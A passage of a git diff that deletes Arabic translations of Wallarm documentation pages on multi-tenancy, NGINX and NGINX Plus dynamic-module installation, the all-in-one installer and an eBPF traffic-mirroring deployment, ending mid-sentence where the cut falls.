استخدم [التوجيهات المتاحة](../../admin-en/configure-parameters-en.md). - ---8<-- "../include/waf/installation/common-customization-options-nginx-4.4.md" diff --git a/docs/latest-ar/installation/multi-tenant/overview.md b/docs/latest-ar/installation/multi-tenant/overview.md deleted file mode 100644 index 6dce87087e..0000000000 --- a/docs/latest-ar/installation/multi-tenant/overview.md +++ /dev/null @@ -1,72 +0,0 @@ -# نظرة عامة على المتعدد الاستئجار - -تتيح ميزة **المتعدد الاستئجار** استخدام Wallarm لحماية عدة بنى تحتية تجارية مستقلة أو بيئات معزولة في الوقت نفسه. - -**المستأجر** ([**حساب المستأجر**](#tenant-accounts)) يمثل الكيانات التالية: - -* شركة مستقلة (**العميل**) في حال تم الدمج مع Wallarm كشريك. -* بيئة معزولة في حال تم الدمج مع Wallarm كعميل. - ---8<-- "../include/waf/features/multi-tenancy/partner-client-term.md" - -## المشكلات التي تعالجها ميزة المتعدد الاستئجار - -ميزة المتعدد الاستئجار تتناول المشكلات التالية: - -* **أصبح شريكًا لـ Wallarm**. الشريك هو منظمة تثبت عقدة ترشيح ضمن بنيتها التحتية للنظام لتقديم خدمات التخفيف من الهجمات لعملائها. - - سيتم تخصيص حساب منفصل في واجهة Wallarm لكل عميل بحيث تكون جميع بيانات الحساب معزولة ويمكن الوصول إليها للمستخدمين المختارين فقط. -* **عزل بيانات البيئات المحمية عن بعضها**. بيئة يمكن أن تكون تطبيقًا منفصلاً، مركز بيانات، واجهة برمجة التطبيقات، بيئة إنتاج أو مرحلة تطوير، إلخ. - - أمثلة للمشكلات ذات الصلة: - - * تقوم عقدة Wallarm بتصفية الطلبات المرسلة إلى بيئات الإنتاج ومراحل التطوير التي تديرها فرق معزولة. المطلوب هو التأكد من أن الفرق التي تدير بيئة معينة فقط هي التي لديها الوصول إلى بياناتها. - * يتم نشر عقد Wallarm في عدة مراكز بيانات يديرها فرق معزولة وتقع في مناطق مختلفة، واحدة في أوروبا وأخرى في آسيا. المطلوب هو التأكد من أن المستخدمين الذين يديرون مركز بيانات معين هم فقط من لديهم الوصول إلى بياناته. - - سيتم تخصيص حساب منفصل في واجهة Wallarm لكل عميل بحيث تكون جميع بيانات الحساب معزولة ويمكن الوصول إليها للمستخدمين المختارين فقط. - -## تخصيص مكونات Wallarm - -يتيح Wallarm تخصيص واجهة Wallarm وبعض المكونات الأخرى. عند استخدام المتعدد الاستئجار، يمكن أن تكون خيارات التخصيص التالية مفيدة: - -* تخصيص واجهة Wallarm. -* استضافة واجهة Wallarm على نطاق مخصص. -* تعيين عنوان البريد الإلكتروني للدعم الفني الخاص بك لاستقبال الرسائل من العملاء أو الزملاء. - -## حسابات المستأجر - -تتميز حسابات المستأجر بالتالي: - -* لتجميع حسابات المستأجر بشكل صحيح في واجهة Wallarm، يتم ربط كل حساب مستأجر بالحساب العالمي، مما يدل على شريك أو عميل به بيئات معزولة. -* يتم توفير الوصول للمستخدمين إلى كل حساب مستأجر على حدة. -* يتم عزل بيانات كل حساب مستأجر والوصول إليها من قبل المستخدمين المضافين إلى الحساب. -* يمكن للمستخدمين ذوي [الأدوار](../../user-guides/settings/users.md#user-roles) **العالمية** إنشاء حسابات مستأجر جديدة وعرض وتعديل جميع بيانات حسابات المستأجر. - -تُنشأ حسابات المستأجر وفقًا للهيكل التالي: - -![!هيكل حساب المستأجر](../../images/partner-waf-node/accounts-scheme.png) - -* **الحساب العالمي** يستخدم فقط لتجميع حسابات المستأجر بواسطة شريك أو عميل. -* **حساب المستأجر الفني** يستخدم لإضافة [المستخدمين العالميين](../../user-guides/settings/users.md#user-roles) لتوفيرهم بالوصول إلى حسابات المستأجر. المستخدمون العالميون عادةً ما يكونون موظفين في شركات شريكة لـ Wallarm أو عملاء Wallarm الذين يستخدمون المتعدد الاستئجار لبيئات معزولة. -* **حسابات المستأجر** تستخدم ل: - - * توفير الوصول للمستأجرين إلى بيانات الهجمات المكتشفة وإلى إعدادات ترشيح المرور. - * توفير الوصول للمستخدمين إلى بيانات حساب المستأجر المحدد. - -يمكن لـ[المستخدمين العالميين](../../user-guides/settings/users.md#user-roles): - -* التبديل بين الحسابات في واجهة Wallarm. -* مراقبة [الاشتراكات والحصص](../../about-wallarm/subscription-plans.md) للمستأجرين. - -![!محدد المستأجر في واجهة Wallarm](../../images/partner-waf-node/clients-selector-in-console.png) - -* `المستأجر الفني` هو حساب المستأجر الفني -* `المستأجر 1` و `المستأجر 2` هم حسابات المستأجر - -## تكوين المتعدد الاستئجار - -ميزة المتعدد الاستئجار غير نشطة بشكل افتراضي. لتفعيل وتكوين الميزة: - -1. أرسل الطلب إلى [sales@wallarm.com](mailto:sales@wallarm.com) لإضافة ميزة **النظام متعدد الاستأجر** إلى خطة الاشتراك الخاصة بك. -2. [قم بتكوين](configure-accounts.md) حسابات المستأجر في واجهة Wallarm. -3. [قم بنشر وتكوين](deploy-multi-tenant-node.md) عقدة Wallarm متعددة الاستأجر. \ No newline at end of file diff --git a/docs/latest-ar/installation/nginx-plus.md b/docs/latest-ar/installation/nginx-plus.md deleted file mode 100644 index ef6bad8e74..0000000000 --- a/docs/latest-ar/installation/nginx-plus.md +++ /dev/null @@ -1,57 +0,0 @@ -# تثبيت كوحدة ديناميكية لـ NGINX Plus - -تصف هذه التعليمات الخطوات لتثبيت عقدة تصفية Wallarm كوحدة ديناميكية للنسخة التجارية الرسمية من NGINX Plus. - -!!! info "تثبيت شامل" - ابتداءً من عقدة Wallarm 4.6، يوصى باستخدام [التثبيت الشامل](../installation/nginx/all-in-one.md) الذي يؤتمت جميع الأنشطة المذكورة في الخطوات أدناه ويجعل نشر العقدة أسهل بكثير. - -## الاستخدامات - ---8<-- "../include/waf/installation/linux-packages/nginx-plus-use-cases.md" - -## المتطلبات - ---8<-- "../include/waf/installation/linux-packages/requirements-nginx-plus.md" - ---8<-- "../include/waf/installation/linux-packages/common-steps-to-install-node-nginx-plus.md" - -## 6. تمكين Wallarm لتحليل حركة المرور - ---8<-- "../include/waf/installation/common-steps-to-enable-traffic-analysis.md" - -## 7. إعادة تشغيل NGINX Plus - ---8<-- "../include/waf/root_perm_info.md" - ---8<-- "../include/waf/restart-nginx-4.4-and-above.md" - -## 8. تكوين إرسال حركة المرور إلى نسخة Wallarm - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline-oob.md" - -## 9. اختبار تشغيل عقدة Wallarm - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -## 10. التهيئة الدقيقة للحل المنشور - -تُثبت وحدة Wallarm الديناميكية بالإعدادات الافتراضية لـ NGINX Plus. قد تتطلب عقدة التصفية بعض التكوينات الإضافية بعد النشر. - -يتم تعريف إعدادات Wallarm باستخدام [توجيهات NGINX](../admin-en/configure-parameters-en.md) أو واجهة مستخدم Wallarm Console. يجب تحديد التوجيهات في الملفات التالية على الجهاز الذي يحتوي على عقدة Wallarm: - -* `/etc/nginx/conf.d/default.conf` مع إعدادات NGINX -* `/etc/nginx/conf.d/wallarm.conf` مع إعدادات عقدة التصفية العامة - - يُستخدم الملف للإعدادات المطبقة على جميع المجالات. لتطبيق إعدادات مختلفة على مجموعات مجالات مختلفة، استخدم الملف `default.conf` أو أنشئ ملفات تكوين جديدة لكل مجموعة مجالات (على سبيل المثال، `example.com.conf` و`test.com.conf`). متوفر مزيد من المعلومات المفصلة حول ملفات تكوين NGINX في [الوثائق الرسمية لـ NGINX](https://nginx.org/en/docs/beginners_guide.html). -* `/etc/nginx/conf.d/wallarm-status.conf` مع إعدادات مراقبة عقدة Wallarm. الوصف المفصل متاح ضمن [الرابط][wallarm-status-instr] -* `/etc/default/wallarm-tarantool` أو `/etc/sysconfig/wallarm-tarantool` مع إعدادات قاعدة بيانات Tarantool - -فيما يلي بعض الإعدادات النموذجية التي يمكنك تطبيقها إذا لزم الأمر: - -* [تكوين وضع التصفية][waf-mode-instr] - ---8<-- "../include/waf/installation/linux-packages/common-customization-options.md" - -## القيود - -* [اكتشاف اعتمادات تعبئة الاعتمادات][cred-stuffing-docs] غير مدعوم حاليًا، لأنه لم يتم تحديث الحزم إلى الإصدار 4.10 بعد \ No newline at end of file diff --git a/docs/latest-ar/installation/nginx/all-in-one.md b/docs/latest-ar/installation/nginx/all-in-one.md deleted file mode 100644 index 5086c5de7e..0000000000 --- a/docs/latest-ar/installation/nginx/all-in-one.md +++ /dev/null @@ -1,139 +0,0 @@ -[img-wl-console-users]: ../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../admin-en/configure-statistics-service.md -[memory-instr]: ../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../admin-en/installation-postanalytics-en/ -[dynamic-dns-resolution-nginx]: ../../admin-en/configure-dynamic-dns-resolution-nginx.md -[waf-mode-recommendations]: ../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../admin-en/installation-postanalytics-en.md -[waf-installation-instr-latest]: /installation/nginx/dynamic-module/ -[img-node-with-several-instances]: ../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../faq/nginx-compatibility.md#is-wallarm-filtering-node-compatible-with-the-custom-build-of-nginx -[node-token]: ../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../user-guides/settings/api-tokens.md -[platform]: ../supported-deployment-options.md -[inline-docs]: ../inline/overview.md -[oob-docs]: ../oob/overview.md -[oob-advantages-limitations]: ../oob/overview.md#advantages-and-limitations -[web-server-mirroring-examples]: ../oob/web-server-mirroring/overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[img-grouped-nodes]: ../../images/user-guides/nodes/grouped-nodes.png -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[download-aio-step]: #step-3-download-all-in-one-wallarm-installer -[enable-traffic-analysis-step]: #step-5-enable-wallarm-node-to-analyze-traffic -[restart-nginx-step]: #step-6-restart-nginx -[separate-postanalytics-installation-aio]: ../../admin-en/installation-postanalytics-en.md#all-in-one-automatic-installation -[threat-replay-testing-docs]: ../../vulnerability-detection/threat-replay-testing/overview.md -[api-discovery-docs]: ../../api-discovery/overview.md -[vuln-detection-docs]: ../../about-wallarm/detecting-vulnerabilities.md -[masking-sensitive-data-rule]: ../../user-guides/rules/sensitive-data-rule.md -[link-wallarm-health-check]: ../../admin-en/uat-checklist-en.md - -# التنصيب باستخدام المثبِّت الشامل - -هذا **المثبِّت الشامل** مُصمَّم لتبسيط وتوحيد عملية تثبيت عقدة Wallarm كوحدة ديناميكية ل NGINX في بيئات متعددة. هذا المثبِّت يتعرف تلقائيًا على نسخة نظام التشغيل وNGINX الخاص بك، ويثبت جميع التبعيات اللازمة. - -في مقارنة بالحزم الفردية من Linux التي تقدمها Wallarm for [NGINX](dynamic-module.md), [NGINX Plus](../nginx-plus.md), و [NGINX المقدم من التوزيع](dynamic-module-from-distr.md), المثبِّت الشامل يبسط العملية من خلال تنفيذ الأعمال التالية تلقائيًا: - -1. التحقق من نسخة نظام التشغيل و NGINX الخاص بك. -1. إضافة المستودعات Wallarm للنسخة المكتشفة لنظام التشغيل و NGINX. -1. تثبيت حزم Wallarm من هذه المستودعات. -1. ربط الوحدة المثبتة Wallarm ب NGINX الخاص بك. -1. ربط العقدة الفرعية بـ Wallarm Cloud باستخدام الرمز المقدم. - -![مقارنة الكل في واحد باليدوي](../../images/installation-nginx-overview/manual-vs-all-in-one.png) - -## حالات الاستخدام - ---8<-- "../include/waf/installation/all-in-one/use-cases.md" - -## المتطلبات - ---8<-- "../include/waf/installation/all-in-one-requirements.md" - -## الخطوة الأولى: تثبيت NGINX والتبعيات - ---8<-- "../include/waf/installation/all-in-one-nginx.md" - -## الخطوة الثانية: تجهيز رمز Wallarm - ---8<-- "../include/waf/installation/all-in-one-token.md" - -## الخطوة الثالثة: تنزيل مثبت Wallarm الشامل - ---8<-- "../include/waf/installation/all-in-one-installer-download.md" - -## الخطوة الرابعة: تشغيل مثبت Wallarm الشامل - ---8<-- "../include/waf/installation/all-in-one-installer-run.md" - -الأوامر في الخطوات الأخرى هي نفسها لتثبيتات x86_64 و ARM64. - -## الخطوة الخامسة: تمكين العقدة لتحليل الحركة - ---8<-- "../include/waf/installation/common-steps-to-enable-traffic-analysis-all-in-one.md" - -## الخطوة السادسة: إعادة تشغيل NGINX - ---8<-- "../include/waf/installation/restart-nginx-systemctl.md" - -## الخطوة السابعة: تكوين إرسال الحركة إلى العقدة - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline-oob.md" - -## الخطوة الثامنة: اختبار تشغيل العقدة - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -## الخطوة التاسعة: ضبط الحل المستخدم حسب الحاجة - -وحدة Wallarm الدينامكية مع الإعدادات الافتراضية مثبتة. قد تتطلب العقدة الفرعية بعض التهيئة الإضافية بعد التنصيب. - -تحدد إعدادات Wallarm باستخدام [توجيهات NGINX](../../admin-en/configure-parameters-en.md) أو واجهة المستخدم الرسومية لـ Wallarm Console. يجب تعيين التوجيهات في الملفات التالية على الجهاز الذي به العقدة: - -* `/etc/nginx/nginx.conf` مع إعدادات NGINX -* `/etc/nginx/wallarm-status.conf` مع إعدادات رصد العقدة. الوصف التفصيلي متاح في ال[رابط][wallarm-status-instr] -* `/opt/wallarm/etc/collectd/wallarm-collectd.conf.d/wallarm-tarantool.conf` مع إعدادات الـ 'collectd' الذي يجمع الإحصائيات من Tarantool - -أدناه توجد بعض الإعدادات النمطية التي يمكنك تطبيقها إذا كانت مطلوبة: - -* [تكوين نمط الترشيح][waf-mode-instr] -* [تخصيص الموارد لعقد Wallarm][memory-instr] -* [تسجيل متغيرات العقدة][logging-instr] -* [استخدام موازن الحمولة لخادم الوكيل خلف العقدة الفرعية][proxy-balancer-instr] -* [تحديد الوقت الأقصى لمعالجة الطلب الواحد في التوجيه `wallarm_process_time_limit`][process-time-limit-instr] -* [تحديد الوقت الأقصى لانتظار الرد من الخادم في توجيه NGINX `proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [تحديد الحجم الأقصى للطلب في توجيه NGINX `client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [تكوين التحليل الديناميكي ل DNS في NGINX][dynamic-dns-resolution-nginx] - -## خيارات التشغيل - ---8<-- "../include/waf/installation/all-in-one/launch-options.md" - -## إعادة البدء في التثبيت - -إذا كنت بحاجة إلى حذف تثبيت العقدة والبدء من جديد، اتبع الخطوات أدناه. - -!!! تحذير "تأثير إعادة البدء في التثبيت" - ينطوي إعادة البدء في التثبيت على إيقاف وحذف الخدمات Wallarm المشتغلة حاليًا، وبالتالي توقف الترشيح الحركة حتى إعادة التثبيت. كن حذرًا في بيئات الإنتاج أو الحركة الحرجة، حيث يترك الحركة غير مُرَشَّحَة ومعرضة للخطر. - - لترقية العقدة الموجودة (مثل من 4.8 إلى 4.10)، راجع [تعليمات الترقية](../../updating-migrating/all-in-one.md). - -1. إنهاء عمليات Wallarm وإزالة ملفات التكوين: - - ``` - sudo systemctl stop wallarm - sudo rm -rf /opt/wallarm - ``` -1. استمر في عملية إعادة التثبيت عن طريق اتباع تعليمات الإعداد من ال[خطوة الثانية](#step-2-prepare-wallarm-token). \ No newline at end of file diff --git a/docs/latest-ar/installation/nginx/dynamic-module-from-distr.md b/docs/latest-ar/installation/nginx/dynamic-module-from-distr.md deleted file mode 100644 index 044c56114a..0000000000 --- a/docs/latest-ar/installation/nginx/dynamic-module-from-distr.md +++ /dev/null @@ -1,108 +0,0 @@ -![img-wl-console-users]: ../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../admin-en/configure-statistics-service.md -[memory-instr]: ../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../admin-en/installation-postanalytics-en/ -[versioning-policy]: ../../updating-migrating/versioning-policy.md#version-list -[dynamic-dns-resolution-nginx]: ../../admin-en/configure-dynamic-dns-resolution-nginx.md -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[install-postanalytics-instr]: ../../admin-en/installation-postanalytics-en.md -[img-node-with-several-instances]: ../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../custom/custom-nginx-version.md -[node-token]: ../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../installation/supported-deployment-options.md -[inline-docs]: ../inline/overview.md -[oob-docs]: ../oob/overview.md -[oob-advantages-limitations]: ../oob/overview.md#advantages-and-limitations -[web-server-mirroring-examples]: ../oob/web-server-mirroring/overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[img-grouped-nodes]: ../../images/user-guides/nodes/grouped-nodes.png -[link-wallarm-health-check]: ../../admin-en/uat-checklist-en.md - -# تثبيت كوحدة ديناميكية لإصدار NGINX المقدم من التوزيع - -توصف هذه التعليمات الخطوات لتثبيت عقدة تصفية Wallarm كوحدة ديناميكية لإصدار المصدر المفتوح من NGINX المثبت من مستودعات Debian/CentOS. - -!!! info "تثبيت شامل" - ابتداءً من عقدة Wallarm 4.6، يُنصح باستخدام [تثبيت شامل](all-in-one.md) الذي يُوَتِمّ جميع الأنشطة المذكورة أدناه ويجعل نشر العقدة أسهل بكثير. - -يمكن الحصول على NGINX المصدر المفتوح من nginx.org أو المستودعات الافتراضية لـ Debian/CentOS بناءً على متطلباتك، وتفضيلات إصدار NGINX، وسياسات إدارة المستودع. توفر Wallarm حزمًا لكل من إصدارات [nginx.org](dynamic-module.md) والإصدارات التي يوفرها التوزيع. هذا الدليل يركز على NGINX من مستودعات Debian/CentOS. - -## حالات الاستخدام - ---8<-- "../include/waf/installation/linux-packages/nginx-distro-use-cases.md" - -## المتطلبات - ---8<-- "../include/waf/installation/linux-packages/requirements-nginx-distro.md" - ---8<-- "../include/waf/installation/linux-packages/common-steps-to-install-node-nginx-distro.md" - -## 5. تمكين Wallarm لتحليل حركة المرور - ---8<-- "../include/waf/installation/common-steps-to-enable-traffic-analysis.md" - -## 6. إعادة تشغيل NGINX - ---8<-- "../include/waf/root_perm_info.md" - -=== "Debian" - ```bash - sudo systemctl restart nginx - ``` -=== "CentOS" - ```bash - sudo systemctl restart nginx - ``` -=== "AlmaLinux, Rocky Linux أو Oracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` - -## 7. تكوين إرسال حركة المرور إلى عقدة Wallarm - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline-oob.md" - -## 8. اختبار تشغيل عقدة Wallarm - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -## 9. تعديل الحل المنتشر - -يتم تثبيت الوحدة الديناميكية Wallarm بإعدادات افتراضية لإصدار `stable` من NGINX. قد تتطلب عقدة التصفية بعض التهيئات الإضافية بعد الانتشار. - -تُعرَّف إعدادات Wallarm باستخدام [توجيهات NGINX](../../admin-en/configure-parameters-en.md) أو واجهة مستخدم Wallarm Console. يجب تعيين التوجيهات في الملفات التالية على الجهاز الحاوي لعقدة Wallarm: - -* `/etc/nginx/conf.d/default.conf` مع إعدادات NGINX -* `/etc/nginx/conf.d/wallarm.conf` مع إعدادات عقدة التصفية العامة - - يُستخدم الملف للإعدادات المطبقة على جميع النطاقات. لتطبيق إعدادات مختلفة على مجموعات نطاقات مختلفة، استخدم الملف `default.conf` أو أنشئ ملفات تهيئة جديدة لكل مجموعة نطاقات (على سبيل المثال، `example.com.conf` و `test.com.conf`). المزيد من المعلومات التفصيلية حول ملفات تهيئة NGINX متاحة في [وثائق NGINX الرسمية](https://nginx.org/en/docs/beginners_guide.html). -* `/etc/nginx/conf.d/wallarm-status.conf` مع إعدادات مراقبة عقدة Wallarm. الوصف التفصيلي متاح في [الرابط][wallarm-status-instr] -* `/etc/default/wallarm-tarantool` أو `/etc/sysconfig/wallarm-tarantool` مع إعدادات قاعدة بيانات Tarantool - -فيما يلي بعض الإعدادات النموذجية التي يمكنك تطبيقها إذا لزم الأمر: - -* [تهيئة وضع الترشيح][waf-mode-instr] - ---8<-- "../include/waf/installation/linux-packages/common-customization-options.md" - -* [تكوين الحل الديناميكي لاستكشاف DNS في NGINX][dynamic-dns-resolution-nginx] - -## القيود - -* [اكتشاف حشو البيانات][cred-stuffing-docs] غير مدعوم حاليًا، حيث لم يتم تحديث الحزم إلى الإصدار 4.10 بعد. \ No newline at end of file diff --git a/docs/latest-ar/installation/nginx/dynamic-module.md b/docs/latest-ar/installation/nginx/dynamic-module.md deleted file mode 100644 index 2eca882671..0000000000 --- a/docs/latest-ar/installation/nginx/dynamic-module.md +++ /dev/null @@ -1,59 +0,0 @@ -# تثبيت كوحدة ديناميكية لإصدار NGINX المستقر - -تصف هذه التعليمات الخطوات لتثبيت عقدة تصفية Wallarm كوحدة ديناميكية للإصدار المفتوح المصدر من NGINX `المستقر` الذي تم تثبيته من مستودع NGINX. - -!!! info "تثبيت شامل" - بدءًا من عقدة Wallarm 4.6، يُنصح باستخدام [التثبيت الشامل](all-in-one.md) الذي يؤتمت جميع الأنشطة المدرجة في الخطوات أدناه ويجعل نشر العقدة أسهل بكثير. - -## حالات الاستخدام - ---8<-- "../include/waf/installation/linux-packages/nginx-stable-use-cases.md" - -## المتطلبات - ---8<-- "../include/waf/installation/linux-packages/requirements-nginx-stable.md" - ---8<-- "../include/waf/installation/linux-packages/common-steps-to-install-node-nginx-stable.md" - -## 6. تمكين Wallarm لتحليل الزيارات - ---8<-- "../include/waf/installation/common-steps-to-enable-traffic-analysis.md" - -## 7. إعادة تشغيل NGINX - ---8<-- "../include/waf/root_perm_info.md" - ---8<-- "../include/waf/restart-nginx-4.4-and-above.md" - -## 8. تكوين إرسال الزيارات إلى عقدة Wallarm - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline-oob.md" - -## 9. اختبار تشغيل عقدة Wallarm - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -## 10. ضبط الحل المنتشر - -تم تثبيت الوحدة الديناميكية Wallarm بالإعدادات الافتراضية لـ NGINX `المستقر`. قد تتطلب عقدة التصفية بعض التكوينات الإضافية بعد النشر. - -تُعرف إعدادات Wallarm باستخدام [توجيهات NGINX](../../admin-en/configure-parameters-en.md) أو واجهة المستخدم Wallarm Console. يجب تعيين التوجيهات في الملفات التالية على الجهاز الذي يحتوي على عقدة Wallarm: - -* `/etc/nginx/conf.d/default.conf` مع إعدادات NGINX -* `/etc/nginx/conf.d/wallarm.conf` مع إعدادات عقدة التصفية العالمية - - يُستخدم الملف للإعدادات المطبقة على جميع النطاقات. لتطبيق إعدادات مختلفة على مجموعات النطاقات المختلفة، استخدم الملف `default.conf` أو أنشئ ملفات تكوين جديدة لكل مجموعة نطاقات (على سبيل المثال، `example.com.conf` و`test.com.conf`). متوفرة معلومات أكثر تفصيلًا حول ملفات تكوين NGINX في [التوثيق الرسمي لـ NGINX](https://nginx.org/en/docs/beginners_guide.html). -* `/etc/nginx/conf.d/wallarm-status.conf` مع إعدادات مراقبة عقدة Wallarm. يتوفر الوصف التفصيلي داخل [الرابط][wallarm-status-instr] -* `/etc/default/wallarm-tarantool` أو `/etc/sysconfig/wallarm-tarantool` مع إعدادات قاعدة بيانات Tarantool - -فيما يلي بعض الإعدادات النموذجية التي يمكنك تطبيقها إذا لزم الأمر: - -* [تكوين وضع التصفية][waf-mode-instr] - ---8<-- "../include/waf/installation/linux-packages/common-customization-options.md" - -* [تكوين الحل DNS الديناميكي في NGINX][dynamic-dns-resolution-nginx] - -## القيود - -* [كشف اختراق الأوراق الاعتماد][cred-stuffing-docs] غير مدعوم حاليًا، حيث لم يتم تحديث الحزم إلى الإصدار 4.10 بعد \ No newline at end of file diff --git a/docs/latest-ar/installation/oob/ebpf/deployment.md b/docs/latest-ar/installation/oob/ebpf/deployment.md deleted file mode 100644 index 21dfcc2f37..0000000000 --- a/docs/latest-ar/installation/oob/ebpf/deployment.md +++ /dev/null @@ -1,193 +0,0 @@ -[deployment-platform-docs]: ../../supported-deployment-options.md - -# حل Wallarm القائم على eBPF (الإصدار التجريبي) - -تقدم Wallarm إصدارًا تجريبيًا من حلها الأمني القائم على eBPF الذي يستخدم قوة نواة Linux ويدمج بسلاسة مع بيئات Kubernetes. توضح هذه المقالة كيفية استخدام ونشر الحل باستخدام الخريطة Helm. - -## تدفق المرور - -تدفق المرور مع حل Wallarm القائم على eBPF: - -![تدفق المرور في eBPF](../../../images/waf-installation/epbf/ebpf-traffic-flow.png) - -الحل eBPF مصمم لمراقبة المرور باستخدام البروتوكولات التالية: - -* HTTP 1.x أو HTTP 2 -* Proxy v1 أو Proxy v2 - -قد يستخدم المرور تشفير TLS/SSL أو نقل البيانات النصي العادي. يقتصر تحليل مرور SSL على الخوادم التي تستخدم مكتبة OpenSSL المشتركة (مثل NGINX، HAProxy) ولا يتوفر للخوادم التي تستخدم تنفيذات SSL أخرى مثل Envoy. - -## كيف يعمل - -يتألف نظام التشغيل Linux من النواة والمساحة المستخدم، حيث تدير النواة موارد الأجهزة والمهام الحرجة، بينما تعمل التطبيقات في مساحة المستخدم. في هذا البيئة، يتيح eBPF (Extended Berkeley Packet Filter) تنفيذ البرامج المخصصة داخل نواة Linux، بما في ذلك تلك المركزة على الأمن. [اقرأ المزيد عن eBPF](https://ebpf.io/what-is-ebpf/) - -نظراً لأن Kubernetes يستخدم قدرات نواة Linux للمهام الحرجة مثل عزل العمليات وإدارة الموارد والشبكات، فإنه يخلق بيئة مواتية لدمج الحلول الأمنية القائمة على eBPF. وفقًا لهذا، تقدم Wallarm حلًا أمنيًا قائمًا على eBPF يدمج بسلاسة مع Kubernetes، مستفيدًا من وظائف النواة. - -يتكون الحل من وكيل يولد مرآة للمرور ويحيلها إلى العقدة Wallarm. أثناء النشر، يمكنك تحديد مستوى المرآة إما على مستوى الفضاء الأسمي أو مستوى الوعاء. تدقق عقدة Wallarm في المرور المتطابق للأمن، دون حظر أي نشاط ضار. بدلاً من ذلك، يسجل النشاط الذي تم اكتشافه في Cloud Wallarm، مما يوفر الرؤية في أمن المرور من خلال واجهة المستخدم Wallarm Console. - -يوضح الرسم البياني التالي مكونات الحل: - -![مكونات eBPF](../../../images/waf-installation/epbf/ebpf-components.png) - -وكيل eBPF يتم نشره كـ DaemonSet على كل عقدة عامل Kubernetes. لضمان الوظيفة الجيدة، يجب تشغيل وعاء الوكيل في وضع ممتاز مع القدرات الأساسية التالية: `SYS_PTRACE` و `SYS_ADMIN`. - -بالإضافة إلى ذلك، يعالج الحل أكواد الرد، مما يمكّن وحدة [اكتشاف API](../../../api-discovery/overview.md) الأساسية في Wallarm لتحديد نقاط نهاية API الخاصة بك، وتشييد مخزون API الخاص بك، وضمان بقائه محدثًا. - -## الحالات الاستخدامية - -من بين جميع خيارات نشر Wallarm المدعومة [خيارات نشر Wallarm](../../supported-deployment-options.md)، هذا الحل هو الأكثر توصية للعمل خارج النطاق. من خلال التقاط نسخة متطابقة من المرور بدلاً من العمل في الخط، يضمن حل eBPF المستندة على المرور دون انقطاع. تقلل هذه النهج التأثير على المرور المباشر، وتتجنب إدخال تأخيرات إضافية قد تؤثر على الكمون. - -## المتطلبات التقنية - -تأكد من استيفاء الشروط التقنية الأولية التالية للنشر الناجح لحل eBPF: - -* الإصدار التي تدعمها Kubernetes: - - * AWS - Kubernetes 1.24 وما فوق - * Azure - Kubernetes 1.26 وما فوق - * GCP - أي إصدار من Kubernetes - * الخادم العاري - Kubernetes 1.22 وما فوق -* تثبيت [مدير الشهادات](https://cert-manager.io/docs/installation/helm/) لتمكين الوكيل من تطابق المرور المرآة إلى عقدة معالجة Wallarm بطريقة آمنة. -* إدارة الحزم [Helm v3](https://helm.sh/). -* إصدار نواة Linux 5.10 أو 5.15 مع تمكين BTF (BPF Type Format). يتم دعمه في Ubuntu، Debian، RedHat، Google COS، أو Amazon Linux 2. -* المعالج بالعمارة x86_64. -* بينما الحل في البيتا، ليست جميع الموارد Kubernetes يمكن أن تكون متطابقة بشكل 